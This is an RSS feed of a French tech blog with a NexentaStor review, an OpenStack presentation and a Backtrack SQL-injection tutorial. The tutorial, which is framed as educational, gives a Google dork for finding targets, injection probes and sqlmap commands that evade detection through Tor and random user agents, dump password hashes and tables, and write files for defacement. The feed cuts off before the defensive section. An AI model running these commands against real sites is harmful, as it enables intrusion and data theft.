<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>My1&#039; Blog : Cloud Computing, Sécurité, Web &#187; planete-libre</title>
	<atom:link href="http://my1.fr/blog/tag/planete-libre/feed/" rel="self" type="application/rss+xml" />
	<link>http://my1.fr/blog</link>
	<description>Keep alive !</description>
	<lastBuildDate>Wed, 02 May 2012 19:35:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Open-Storage avec NexentaStor</title>
		<link>http://my1.fr/blog/open-storage-avec-nexentastor/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=open-storage-avec-nexentastor</link>
		<comments>http://my1.fr/blog/open-storage-avec-nexentastor/#comments</comments>
		<pubDate>Wed, 22 Feb 2012 15:03:43 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Tests]]></category>
		<category><![CDATA[Virtualisation]]></category>
		<category><![CDATA[nexanta]]></category>
		<category><![CDATA[nexantastor]]></category>
		<category><![CDATA[planete-libre]]></category>
		<category><![CDATA[stcokage]]></category>
		<category><![CDATA[storage]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=535</guid>
		<description><![CDATA[&#160; &#160; Toujours dans mon projet de formation sur OpenStack, j&#8217;ai décidé de me concentrer sur la partie stockage d&#8217;une infrastructure. &#160; &#160; &#160; Je recherchais une solution qui répondait à ces critères : Environnement Open-Source Respect des standards Compatibilité avec les IaaS du marché (on verra plus tard que j&#8217;ai testé VMware &#38; OpenStack) [...]]]></description>
			<content:encoded><![CDATA[<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Toujours dans mon projet de formation sur OpenStack, j&#8217;ai décidé de me concentrer sur la partie stockage d&#8217;une infrastructure.<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
<strong>Je recherchais une solution qui répondait à ces critères :</strong></p>
<ul>
<li>Environnement Open-Source</li>
<li>Respect des standards</li>
<li>Compatibilité avec les IaaS du marché (on verra plus tard que j&#8217;ai testé VMware &amp; OpenStack)</li>
<li>Bien documenté, et si possible un forum bien actif</li>
</ul>
<p><strong>J&#8217;ai donc choisis de tester <a title="NexentaStor" href="http://www.nexenta.com/corp/nexentastor" target="_blank">NexentaStore Enterprise Edition</a> dans sa version d&#8217;essai.</strong></p>
<p><strong>Ce que j&#8217;ai eu en plus avec Nexenta :</strong></p>
<ul>
<li>Une interface d&#8217;administration &amp; de configuration user-friendly (Web-GUI)</li>
<li>Une liste très impressionnante de plugins (gratuits &amp; payants) qui apportent des fonctionnalités non-négligeables</li>
<li>La chance de pouvoir tester NexentaStor Enterprise Edition gratuitement pendant 45 jours.</li>
<li>L&#8217;immense chance de pouvoir tester le plugin &laquo;&nbsp;HA Cluster&nbsp;&raquo; (que nous verrons plus tard) pendant 45 jours également (merci à l&#8217;équipe de Nexenta de m&#8217;avoir aidé).</li>
</ul>
<p>&nbsp;</p>
<blockquote>
<h2>Qu&#8217;est-ce que l&#8217;Open-Storage ?</h2>
</blockquote>
<p><strong>Pour résumer l&#8217;Open-Storage avec des mots simples :</strong><br />
Fournir du stockage de manière standard, provenant de différentes sources, propriétaires ou libres. C&#8217;est donc s&#8217;affranchir du matériel propriétaire et hétérogène, pour rationaliser ses ressources en stockage.<br />
L&#8217;Open-Storage est donc une solution <strong>économique</strong> de se créer une baie de disque hautement disponible et tolérante aux pannes, à partir de différentes sources de stockage.<br />
En résumé, voici 3 avantages liés à l&#8217;Open-Storage :</p>
<ul>
<li>Votre stockage devient ouvert et accessible, grâce aux standards de l&#8217;industrie du stockage.</li>
<li>Vous dessinez vous-même votre architecture de stockage. Il n&#8217;y a donc aucune limite à votre infrastructure !</li>
<li>Votre Hardware devient flexible, dans la mesure où tout changement devient transparent pour l&#8217;utilisateur final.</li>
</ul>
<h2></h2>
<p>&nbsp;</p>
<blockquote>
<h2>Cas concret :</h2>
</blockquote>
<p>Je dispose actuellement d&#8217;une baie de stockage EMC, avec des disques plutôt performants en lecture / écriture. A coté de ça, j&#8217;ai récupéré une baie de disques SSD (très rapides donc), et enfin une baie assez ancienne comprenant des vieux disques toujours opérationnels.</p>
<p><strong>Dans mon réseau, je souhaite fournir du stockage :</strong></p>
<ul>
<li>assez performant pour mes serveurs ESXi pour le stockage des machines virtuelles.</li>
<li>plutôt rapide pour mon infrastructure VDI, fournie par VMware View</li>
<li>lent, mais facilement extensible pour du Cloud storage (exemple : Dropbox, Ubuntu One, SkyDrive, etc).</li>
</ul>
<p>&nbsp;</p>
<blockquote>
<h2>Ce que fait NexentaStore :</h2>
</blockquote>
<p><strong>Pour commencer les présentations, il est bon de rappeler les bases.</strong></p>
<p>NexentaStor est une appliance, basée sur OpenSolaris. Étant payante, j&#8217;ai donc usé de la licence Trial qui m&#8217;a permis de tester le produit dans sa totalité pendant 45 jours.</p>
<p>Il existe une version gratuite, <a title="Community Edition" href="http://www.nexentastor.org/projects/site/wiki/CommunityEdition" target="_blank">NexentaStor Community Edition</a> qui permet de fournir jusqu&#8217;à 18To de stockage (Raw). Attention, je n&#8217;évoquerai pas ce produit dans cet article car il ne supporte pas l&#8217;ajout des plugins type &laquo;&nbsp;HA Cluster&nbsp;&raquo; &amp; autre.</p>
<p>Pour voir la liste complète des fonctionnalités, vous pouvez directement le lire sur le <a title="Site officiel" href="http://www.nexenta.com/corp/nexentastor" target="_blank">site officiel</a>. Cependant, voici les points intéressants de ce produit :</p>
<ul>
<li>Système de fichiers ZFS 128 bits</li>
<li>Aucune limite de stockage (ni eu capacité de stockage, ni en taille de fichier)</li>
<li>Compatible SAN (iSCSI &amp; FC) &amp; NAS (NFS, CIFS, WebDAV et FTP)</li>
<li>Optimisation du stockage (compression, dé-duplication)</li>
<li>Création de Pools de stockage (pour améliorer les performances)</li>
<li>Snapshots à chaud</li>
<li>Réplication synchrone et asynchrone (pour faciliter le Disaster Recovery)</li>
<li>Intégrité des données</li>
<li>De nombreux plugins très puissants (je reviendrai plus tard vers le plugin HA Cluster)</li>
<li>Et enfin, ce que j&#8217;ai vraiment apprécié : intégration avec VMware, Xen, OpenStack et Hyper-V.</li>
</ul>
<p>Avec NexentaStor, je vais être capable de rationaliser le stockage que j&#8217;ai à ma disposition, de le rendre hautement disponible et tolérant aux pannes, et enfin de le distribuer vers des hôtes à travers des protocoles standards et connus de tous.</p>
<p>&nbsp;</p>
<blockquote>
<h2>Mon infrastructure</h2>
</blockquote>
<p>Des fois, un bon vieux dessin vaut mieux qu&#8217;un gros pavé. Donc j&#8217;ai pris Visio pour vous montrer mon architecture :</p>
<p style="text-align: center;"><img class="aligncenter  wp-image-539" title="nexenta" src="http://my1.fr/blog/wp-content/uploads/2012/02/nexenta.png" alt="" width="491" height="442" /></p>
<ul>
<li>Je dispose d&#8217;une baie EMC avec des disques dur SAS en RAID 5, ainsi qu&#8217;une autre baie avec des disques SSD.</li>
<li>Mes 2 appliances sont virtualisées dans mon infrastructure VMware, et sont en cluster avec le plugin HA.</li>
<li>Je fournis du stockage pour les clients légers (VDI), mes VMs &amp; volumes (pour OpenStack), et pour du Cloud Storage.</li>
</ul>
<p>&nbsp;</p>
<blockquote>
<h2>Ce que j&#8217;ai testé :</h2>
</blockquote>
<p>Dans un premier temps, j&#8217;ai testé :</p>
<ul>
<li>les fonctionnalités de base : Mapping de volumes over iSCSI, partage de fichier CIFS (dans un domaine 2008 R2 Natif), et NFS.</li>
<li>Ensuite, j&#8217;ai fait la demande au service commercial de Nexenta pour tester gratuitement le plugin HA Cluster (qui coûte 4900 $). Il m&#8217;a permis de rendre hautement disponible le stockage que je met à disposition sur on réseau.</li>
</ul>
<p>Je vais m&#8217;attarder sur ce plugin car je l&#8217;ai trouvé particulièrement puissant :</p>
<ul>
<li>L&#8217;installation se fait assez aisément, mais il faut au préalable avoir lu la documentation officielle (comme d&#8217;hab, RTFM !!!), sinon vous aurez des erreurs.</li>
<li>J&#8217;ai été agréablement surpris. Tout a fonctionné du 1er coup : l&#8217;installation du plugin, la configuration de la mise en cluster des 2 appliances, la création des volumes à partager, et la configuration dans VMware ESX (la configuration du <a href="http://en.wikipedia.org/wiki/Multipath_I/O"><em>Multipath</em></a> se fait toute seule).</li>
<li>J&#8217;ai testé le basculement vers le serveur secondaire en mode Failover automatique et l&#8217;interruption de service était de 8 secondes (le temps pour l&#8217;IP Failover de switcher vers l&#8217;autre serveur). J&#8217;ai vraiment aimé le principe de pouvoir utiliser les cartes réseaux en Failover et continuer à fournir le stockage depuis le serveur principal. Si c&#8217;est le serveur en entier qui n&#8217;est pas accessible, l&#8217;autre prendra le relais et le service ne sera pas stoppé.</li>
</ul>
<p>Voici une capture d&#8217;écran du dashboard du plugin HA Cluster (Cliquez-sur l&#8217;image pour agrandir) :</p>
<p style="text-align: center;"><a href="http://my1.fr/blog/wp-content/uploads/2012/02/nexenta-ha.png" target="_blank"><img class="aligncenter  wp-image-557" title="nexenta-ha" src="http://my1.fr/blog/wp-content/uploads/2012/02/nexenta-ha.png" alt="" width="904" height="327" /></a></p>
<p style="text-align: left;">Par rapport à ce plugin, je dirais qu&#8217;il va à l&#8217;essentiel : il fonctionne et permet réellement de faire de la HA au niveau storage.</p>
<ul>
<li>Autre plugin très intéressant : <strong>VMDC</strong> (Virtual Machines Datastore Center). Il permet de gérer les datastores d&#8217;un hyperviseur directement depuis l&#8217;IHM de NexentaStor. Il est compatible avec VMware, Xen et Hyper-V. Suivant l&#8217;API de l&#8217;hyperviseur, certaines fonctionnalités sont disponibles en plus, comme l&#8217;arrêt ou le redémarrage des VMs.</li>
</ul>
<p>&nbsp;</p>
<p style="text-align: center;"><a href="http://my1.fr/blog/wp-content/uploads/2012/02/nexenta-vm.png"><img class="aligncenter  wp-image-560" title="nexenta-vm" src="http://my1.fr/blog/wp-content/uploads/2012/02/nexenta-vm.png" alt="" width="850" height="274" /></a></p>
<p>&nbsp;</p>
<ul>
<li>Je garde le meilleur pour la fin&#8230; le plugin OpenStack, qui permet d&#8217;intégrer du stockage fournis par NexentaStor dans une infrastructure OpenStack, et plus particulièrement pour le service <strong>nova-volumes</strong> (qui fournit des block devices aux VMs). De base, le driver est capable de créer des volumes, de les supprimer, et de réaliser des snapshots, et tout ça grâce aux REST API. Je rajouterai encore quelque chose de très pertinent : la distribution <a title="Site officiel de StackOps Technologies" href="http://www.stackops.com/" target="_blank">StackOps </a>intègre nativement le driver <strong>NexentaVolumeDriver</strong>, et permet dès le <strong>SmartInstaller</strong> d&#8217;indiquer où se trouve le serveur <strong>NexentaStor</strong>.</li>
</ul>
<p>&nbsp;</p>
<blockquote>
<h2>Ce que j&#8217;en pense :</h2>
</blockquote>
<p>Vous l&#8217;aurez compris&#8230; <strong>que du bien</strong> !</p>
<p>Non, plus sérieusement. NexentaStor est un produit de qualité, et je pense qu&#8217;en s&#8217;ouvrant aux différentes technologies, il s&#8217;offre un bel avenir devant lui, et continuera de séduire tous ceux qui ne peuvent pas s&#8217;offrir des baies de stockages propriétaires. Ce que j&#8217;ai vraiment aimé, c&#8217;est la compatibilité avec les différents protocoles de transport de fichiers (NFS, CIFS, FTP, WebDAV) et également les technologies SAN (iSCSI &amp; FC). De plus, ses plugins font de NexentaStor une solution flexible, et ouverte à un environnement hétérogène. Peu importe votre matériel et vos outils déjà en place : il sait s&#8217;adapter, et offrir ce qu&#8217;il sait faire de mieux : du <strong>stockage hautement disponible</strong>.</p>
<p>&nbsp;</p>
<blockquote>
<h2>Les alternatives :</h2>
</blockquote>
<p>Il existe plusieurs alternatives, mais j&#8217;en ai testé une Open-Source, et une propriétaire.</p>
<p>Il s&#8217;agit de <a title="FreeNAS" href="http://www.freenas.org/" target="_blank"><strong>FreeNAS</strong></a>, et de <a title="Site officiel de Datacore" href="http://www.datacore.com/Software/Products/SANsymphony-V.aspx" target="_blank"><strong>Datacore SAN-Symphony-V</strong></a>.</p>
<ul>
<li>Concernant FreeNAS, ses fonctionnalités ne sont pas aussi poussées que les produits de Nexenta.</li>
<li>Pour SAN-Symphony-V de Datacore, j&#8217;ai eu la chance d&#8217;avoir un cours sur le produit, ainsi qu&#8217;un TP à l&#8217;université. Je dois dire que le software est impressionnant, et qu&#8217;il fournit du stockage de manière performante et hautement disponible grâce à la mise en cluster. Il ne manquerait plus qu&#8217;une interopérabilité avec d&#8217;autres acteurs du  Cloud comme le fait Nexenta avec ses plugins vus précédemment, ainsi qu&#8217;une REST-API (le seul moyen d&#8217;administrer le stockage sous SSV étant le Powershell ou la GUI en dotnet depuis Windows). J&#8217;ai eu l&#8217;occasion de créer du stockage à partir de SAN-Symphony pour OpenStack nova-volumes, mais je n&#8217;ai pas fait de benchmark pour le comparer avec le produit Nexenta.</li>
</ul>
<p>&nbsp;</p>
<p>Si des gurus du Cloud lisent cet article, n&#8217;hésitez pas à laisser votre commentaire !<br />
&nbsp;<br />
Je vous laisse, je retourne dans mes nuages <img src='http://my1.fr/blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/open-storage-avec-nexentastor/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Présentation d&#8217;OpenStack</title>
		<link>http://my1.fr/blog/presentation-openstack/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=presentation-openstack</link>
		<comments>http://my1.fr/blog/presentation-openstack/#comments</comments>
		<pubDate>Wed, 23 Nov 2011 07:25:07 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[Tests]]></category>
		<category><![CDATA[Virtualisation]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Openstack]]></category>
		<category><![CDATA[planete-libre]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=405</guid>
		<description><![CDATA[Introduction Cela fait plusieurs semaines que je travaille sur un projet de Cloud Open-Source, de type IaaS (Infrastructure As A Service). Je dois dire que c&#8217;est un projet très intéressant et surtout prometteur dans un monde où VMware a tendance à écraser le marché. Je trouve génial de pouvoir disposer d&#8217;outils libres et gratuits pour [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Introduction</strong></p>
<p>Cela fait plusieurs semaines que je travaille sur un projet de Cloud Open-Source, de type IaaS (Infrastructure As A Service). Je dois dire que c&#8217;est un projet très intéressant et surtout prometteur dans un monde où VMware a tendance à écraser le marché. Je trouve génial de pouvoir disposer d&#8217;outils libres et gratuits pour comprendre la virtualisation.</p>
<p>&nbsp;</p>
<p>Dans cet article, je vais vous présenter mon projet, et je vous publie aussi le résultat de mon travail (un Powerpoint d&#8217;une cinquantaine de slides qui résume mon étude).</p>
<p>&nbsp;</p>
<p><strong>Mise en situation</strong></p>
<p>Concrètement, il m&#8217;a été demandé par mon directeur de formation d&#8217;installer un service de Cloud Computing Open-Source (avec OpenStack) qui fournirait un catalogue d&#8217;images (Ubuntu Server, Windows 2008 R2, etc) et managable depuis un navigateur Web. Plus concrètement, voici un descriptif du processus :</p>
<ul>
<li>Le client se connecte via un navigateur Web sur un Dashboard</li>
<li>En fonction de son profil, il a le droit ou non de créer des machines virtuelles, de créer des images, des snapshots, de gérer son réseau, etc.</li>
<li>Le client crée une machine virtuelle (exemple : Ubuntu Server) à partir d&#8217;un template, et lui attribue une adresse IP publique.</li>
<li>Il peut accéder à sa VM via SSH et a un accès root au système.</li>
<li>La machine peut être rebootée, et éteinte.</li>
<li>Le client peut consulter ce qu&#8217;il a consommé et voir combien il paiera en fin de mois pour son usage.</li>
</ul>
<p>Plusieurs points sont intéressants, c&#8217;est tout d&#8217;abord le dashboard. Accessible depuis Internet, le client s&#8217;authentifie de manière sécurisée et effectue toutes ses tâches nécessaires. Secundo, le principe de facturation est super intéressant pour une entreprise qui facture à son client en fonction de son utilisation. Enfin, outre le fait que tout les outils sont libres et gratuits, ils sont très compatibles avec les API des autres systèmes (ex : Xen, VMware, etc).</p>
<p>&nbsp;</p>
<p><strong>Mon étude</strong></p>
<p>Je ne vais pas rentrer dans les détails ici, mais plutôt vous donner le lien de téléchargement de mon fichier PDF que j&#8217;ai réalisé pour ma présentation.</p>
<p>Voici un aperçu avec Google Doc (il manque des visuels) :</p>
<p>
<iframe src="http://docs.google.com/viewer?url=http://my1.fr/blog/wp-content/uploads/2011/12/20111115_OpenStack_Briefing_1%C3%A8re_Partie.pdf&hl=en_US&embedded=true" class="gde-frame" style="width:100%; height:500px; border: none;" scrolling="no"></iframe>

<p class="gde-text"><a href="http://my1.fr/blog/wp-content/uploads/2011/12/20111115_OpenStack_Briefing_1%C3%A8re_Partie.pdf" target="_blank" class="gde-link">Download (PDF, 1.09MB)</a></p><br />
<strong>La suite</strong></p>
<p>Dans quelques semaines, je recommence à travailler sur ce projet, et je vais me concentrer sur le nouveau Dashboard (Diablo) qui permet de faire plus de trucs que le module Cloud de Drupal. J&#8217;aimerais aussi me pencher sur la compatibilité avec les autres hyperviseurs, notamment les proprio (ça m&#8217;intrigue !). Enfin, je compte me perfectionner sur la haute disponibilité pour prétendre avoir un Cloud Open-Source performant, disponible, et compatible !</p>
<p>&nbsp;</p>
<p>La suite bientôt&#8230;<br />
PS : Le document fourni est 100% libre de droit, mais en cas de réutilisation, merci de me prévenir <img src='http://my1.fr/blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> . Je suis également adepte au remarques et critiques, donc n&#8217;hésitez pas !</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/presentation-openstack/feed/</wfw:commentRss>
		<slash:comments>25</slash:comments>
		</item>
		<item>
		<title>Backtrack &#8211; Injections SQL</title>
		<link>http://my1.fr/blog/backtrack-injections-sql/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=backtrack-injections-sql</link>
		<comments>http://my1.fr/blog/backtrack-injections-sql/#comments</comments>
		<pubDate>Thu, 15 Sep 2011 19:32:05 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[planete-libre]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sqlmap]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=382</guid>
		<description><![CDATA[Dans l&#8217;article consacré à l&#8217;exploitation de faille, j&#8217;ai évoqué l&#8217;exemple d&#8217;une attaque avec Metasploit sur un système d&#8217;exploitation. Je ne peux pas parler de ce sujet sans aborder les injections SQL. Toutefois, la lecture de ces quelques lignes requiert certaines connaissances en base de données SQL. Je ne ferai aucun rappel sur ce langage. &#160; [...]]]></description>
			<content:encoded><![CDATA[<p>Dans l&#8217;article consacré à l&#8217;exploitation de faille, j&#8217;ai évoqué l&#8217;exemple d&#8217;une attaque avec Metasploit sur un système d&#8217;exploitation.</p>
<p>Je ne peux pas parler de ce sujet sans aborder les injections SQL. Toutefois, la lecture de ces quelques lignes requiert certaines connaissances en base de données SQL. Je ne ferai aucun rappel sur ce langage.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Voici le plan de cet article :</p>
<ul>
<li>Définition</li>
<li>Exploitation</li>
<li>Impact</li>
<li>Se protéger</li>
</ul>
<p>Bien entendu, cet article a pour vocation d&#8217;expliquer comment les hackers font, et comment se protéger des attaques de ce type.</p>
<p>&nbsp;</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Définition</strong></span></li>
</ul>
<p>Une injection SQL est une méthode d&#8217;exploitation d&#8217;une faille de sécurité liée à une base de données. Elle consiste via une application utilisant une base de données SQL à injecter une requête qui permettrait d&#8217;obtenir beaucoup d&#8217;informations allant de la version du serveur jusqu&#8217;à la base de données complète. Nous allons voir dans la partie &laquo;&nbsp;Impact&nbsp;&raquo; ce qui est exploitable également.</p>
<p>Techniquement, une injection SQL via un site web consiste à exploiter une variable non protégée appelée via une URL.</p>
<p>Voici un bref exemple : &laquo;&nbsp;<strong>http://www.target.com/photos.php?id=1</strong>&nbsp;&raquo;</p>
<p>Cette URL affiche par défaut la page d&#8217;identifiant 1 par rapport à la base de données.<br />
En fin de compte, cette URL pourrait ressembler à cette requête SQL :</p>

<div class="wp_codebox_msgheader wp_codebox_hide"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p382code3'); return false;">View Code</a> SQL</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p3823"><td class="code" id="p382code3"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span>
<span style="color: #993333; font-weight: bold;">FROM</span> photos
<span style="color: #993333; font-weight: bold;">WHERE</span> <span style="color: #ff0000;">'id_photos = 1'</span> ;</pre></td></tr></table></div>

<p>Cette requête pourtant simple permet toutefois beaucoup de choses si le code PHP a été mal programmé. Nous y reviendrons plus tard.</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Exploitation</strong></span></li>
</ul>
<p>La meilleure explication est l&#8217;exemple.</p>
<p>Le hacker va tout d&#8217;abord chercher sa victime en fouillant le site Internet cible. Il pourra notamment s&#8217;aider de Google.</p>
<p>Par exemple, il va rechercher sur Google tous les &laquo;&nbsp;gallery.php&nbsp;&raquo; utilisant des ID :<br />
<a href="https://encrypted.google.com/#hl=en&amp;sugexp=gsis%2Ci18n%3Dtrue&amp;cp=21&amp;gs_id=3&amp;xhr=t&amp;q=inurl:gallery.php%3Fid%3D&amp;pf=p&amp;sclient=psy-ab&amp;site=&amp;source=hp&amp;pbx=1&amp;oq=inurl:gallery.php%3Fid%3D&amp;aq=f&amp;aqi=&amp;aql=&amp;gs_sm=&amp;gs_upl=&amp;bav=on.2,or.r_gc.r_pw.&amp;fp=d5bc1e92224c5138&amp;biw=1366&amp;bih=551">inurl:gallery.php?id=</a></p>
<p>Dans la plupart des cas, les sites Web sont faits à l&#8217;aide de CMS, ou alors codés entièrement à la main. Mais il arrive que ces CMS ne soit pas à jour, ou alors que le développeur web n&#8217;est pas pris soin de protéger les variables utilisées par les URL.</p>
<p>Lorsque le hacker va tomber sur une page de ce style, il va remplacer le 1 par un -53 par exemple, de manière à provoquer une erreur.</p>
<p>Si le message suivant apparaît, vous pouvez être sûrs qu&#8217;une injection SQL est possible :</p>
<p><strong>Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/users/site/html/gallery.php on line 248</strong></p>
<p>En fait, j&#8217;irai même plus loin en disant que si <strong>http://www.target.com/photos.php?id=1</strong> affiche la même chose que <strong>http://www.target.com/photos.php?id=1+AND+1=1</strong> ou/et que <strong>http://www.target.com/photos.php?id=1+AND+1=2</strong> diffère de la 1ère page, il y a vulnérabilité.</p>
<p>Avec la distribution Backtrack, voyons maintenant ce que l&#8217;on peut faire. L&#8217;excellent outil &laquo;&nbsp;SQLmap&nbsp;&raquo; nous permettra de réaliser tous les tests nécessaire pour une injection SQL.</p>
<p>Je vais vous montrer quelques commandes (je n&#8217;invente rien, j&#8217;ai juste lu la doc <img src='http://my1.fr/blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  ).</p>
<p>Note : Dans toutes mes commandes, j&#8217;utilise TOR pour rester anonyme, ainsi qu&#8217;un générateur d&#8217;USER-AGENT pour que le serveur web distant ne détecte pas de requêtes HTTP provenant d&#8217;un certain &laquo;&nbsp;SQLmap&nbsp;&raquo;.</p>
<p>Pour exécuter ces commandes, il faut avant se rendre dans le répertoire <strong>/pentest/database/sqlmap</strong>. Il faut également remplacer quand c&#8217;est le cas dans mes commandes $url par l&#8217;URL du site, $db par le nom de la base de données, $table par le nom de la table, $column par le nom de la colonne et $sql par la requête SQL voulue.</p>
<p>Auditer si l&#8217;URL est vulnérable :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent</strong></p>
<p>Si le site est vulnérable, il vous le dira explicitement.</p>
<p>C&#8217;est le cas pour notre exemple, passons à la suite.</p>
<p>Lister les privilèges SQL avec l&#8217;injection SQL :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;privileges</strong></p>
<p>Lister les bases de données :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;dbs</strong></p>
<p>Indiquer le nom de la base de données où l&#8217;injection SQL se fait :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;current-db</strong></p>
<p>Montrer les mots de passe d&#8217;accès à la base de données :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;passwords</strong></p>
<p>Lister les tables sur 5 threads (plus rapide) :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;tables -D $db &#8211;threads=&nbsp;&raquo;5&#8243;</strong></p>
<p>Lister les colonnes :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;columns -D $bdd -T $tables</strong></p>
<p>Dumper le contenu d&#8217;une table :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;dump -D $db -T $table &#8211;threads=&nbsp;&raquo;5&#8243;</strong></p>
<p>Exécuter une requête SQL :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;sql-query=&nbsp;&raquo;$sql&nbsp;&raquo; -D $db</strong></p>
<p>Si vraiment le serveur est mal configuré, il est aussi possible d&#8217;écrire un fichier (utilisé lors de defacements) :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;file-write=$file &#8211;file-dest /var/www/public_html/</strong></p>
<p>SQLmap s&#8217;utilise aussi avec Metasploit :</p>

<div class="wp_codebox_msgheader wp_codebox_hide"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p382code4'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p3824"><td class="code" id="p382code4"><pre class="bash" style="font-family:monospace;">$ msfconsole
&nbsp;
                <span style="color: #666666; font-style: italic;">##                          ###           ##    ##</span>
 <span style="color: #666666; font-style: italic;">##  ##  #### ###### ####  #####   #####    ##    ####        ######</span>
<span style="color: #666666; font-style: italic;">####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##</span>
<span style="color: #666666; font-style: italic;">####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##</span>
<span style="color: #666666; font-style: italic;">## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##</span>
<span style="color: #666666; font-style: italic;">##   ##  #### ###   #####   #####     ##   ####   ####   #### ###</span>
                                      <span style="color: #666666; font-style: italic;">##</span>
&nbsp;
msf <span style="color: #000000; font-weight: bold;">&amp;</span>gt; use auxiliary<span style="color: #000000; font-weight: bold;">/</span>scanner<span style="color: #000000; font-weight: bold;">/</span>http<span style="color: #000000; font-weight: bold;">/</span>sqlmap
msf auxiliary<span style="color: #7a0874; font-weight: bold;">&#40;</span>sqlmap<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">set</span> RHOSTS <span style="color: #7a0874; font-weight: bold;">&#91;</span>TARGET HOST RANGE<span style="color: #7a0874; font-weight: bold;">&#93;</span>
msf auxiliary<span style="color: #7a0874; font-weight: bold;">&#40;</span>sqlmap<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; run</pre></td></tr></table></div>

<p>Vous l&#8217;aurez compris, cet outil est hyper puissant, d&#8217;ailleurs j&#8217;insiste sur le fait que pour obtenir de meilleurs résultats, il est important de le mettre à jour régulièrement avec l&#8217;option &#8211;update.</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Impact</strong></span></li>
</ul>
<p>Quel impact d&#8217;une telle attaque ?<br />
La liste peut être longue, mais je vais faire court :</p>
<p>- compromission d&#8217;une partie ou d&#8217;une entière base de données, qui peut contenir des informations précieuses : logins, mots de passe, e-mails, coordonnées bancaires, etc.<br />
- compromission d&#8217;autres bases de données quand un seul utilisateur existe pour 150 bases de données (sisi je vous jure, ça existe).<br />
- compromission des données du serveur Web (on a vu qu&#8217;on pouvait dans certains cas écrire sur le serveur).</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Se protéger</strong></span></li>
</ul>
<p>Il existe à chaque niveau des moyens pour se protéger contre les injections SQL.</p>
<p>Je vais partir des couches basses pour remonter peu à peu :</p>
